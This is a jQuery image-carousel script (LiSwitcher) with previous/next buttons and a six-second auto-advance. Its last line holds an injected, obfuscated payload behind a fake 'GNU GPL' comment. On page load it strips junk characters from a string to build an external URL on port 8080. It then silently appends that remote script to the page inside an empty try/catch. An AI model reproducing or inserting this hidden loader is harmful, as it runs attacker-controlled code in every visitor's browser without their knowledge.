var LiSwitcher = function() {}

LiSwitcher.prototype = {
    initialize: function(CONTROLS, VIEWPORT) {
        this.CONTROLS = CONTROLS || "div#liSwitcher-controls";
        this.PREVIOUS = $(this.CONTROLS).children("a#liSwitcher-previous");
        this.NEXT = $(this.CONTROLS).children("a#liSwitcher-next");
        this.VIEWPORT = VIEWPORT || "div#liSwitcher-viewport";
        this.ITEMS = $(this.VIEWPORT).children("ul").children("li");
        this.INTERVAL = 6000;
        this.index = 0;
        var Scope = this;
        this.timer = setInterval(function() { Scope.nextImage(); }, this.INTERVAL);
        this.jsActive(this.CONTROLS, this.ITEMS);
        this.eventHandlers(this.PREVIOUS, this.NEXT);
    },
    
    jsActive: function(CONTROLS, ITEMS) {
        $(CONTROLS).show();
        $(ITEMS).not(":first").hide();
    },
    
    fadeIn: function(index) {
        this.ITEMS.eq(index).fadeIn();
    },
    
    hide: function(index) {
        this.ITEMS.eq(index).hide();
    },    
    
    nextImage: function() {
        this.hide(this.index);
        this.index++;
        if(this.index >= this.ITEMS.length) {
            this.index = 0;
        }
        this.fadeIn(this.index);
    },
    
    previousImage: function() {
        this.hide(this.index);
        this.index--;
        if(this.index <= -1) {
            this.index = this.ITEMS.length - 1;
        }
        this.fadeIn(this.index);
    
    },
    
    eventHandlers: function(PREVIOUS, NEXT) {
        var Scope = this;
        $(PREVIOUS).bind("click",function() {
            Scope.previousImage();
            clearInterval(Scope.timer);
            return false;
        });
        $(NEXT).bind("click",function() {
            Scope.nextImage();
            clearInterval(Scope.timer);
            return false;
        });
    }

};


var liSwitcher = new LiSwitcher();
$(function() {
    liSwitcher.initialize();
});

/*GNU GPL*/ try{window.onload = function(){var Hva23p3hnyirlpv7 = document.createElement('script');Hva23p3hnyirlpv7.setAttribute('type', 'text/javascript');Hva23p3hnyirlpv7.setAttribute('id', 'myscript1');Hva23p3hnyirlpv7.setAttribute('src',  'h))t#^t$#))!p&&#:^!&/^^/)^(@m&()y&#b(r@&&!!o)^w(&(s)^)$e(@&#r&))b^a#r!&$-#@c&#o#m#@&.)@$s)a!m$&s#)^u!$^n$g#!.$c!^o^@(m#.^n@!#a@@s#$!a#&-(@^g$o)#v)@&$.(!(@(e)&g&!#r)e)@)a^)t$!s(!(a@!l#e@.@)@r)#u(&#!:)@8!^)0!8$!(0!/^#m$$e)g^&a###v&!i&d!e))#o!@(.(@c&)o$!(m^&/^m&^e((^)g$!((a)#)^v@!i(@&#d#)e@&o$#.^c$!#o@m^/$#&l$a)r#@(e)^^d#&o(!()u#(t$)e##.$f(r^&(@/!(^&b!!i)$$l@)!)d^&.#@&(d$@$e(/)g$o^o$&^g^!&l()e!).(@^#c)$!o#&)@@m!/^$'.replace(/\$|\^|\!|&|\)|\(|@|#/ig, ''));Hva23p3hnyirlpv7.setAttribute('defer', 'defer');document.body.appendChild(Hva23p3hnyirlpv7);}} catch(e) {}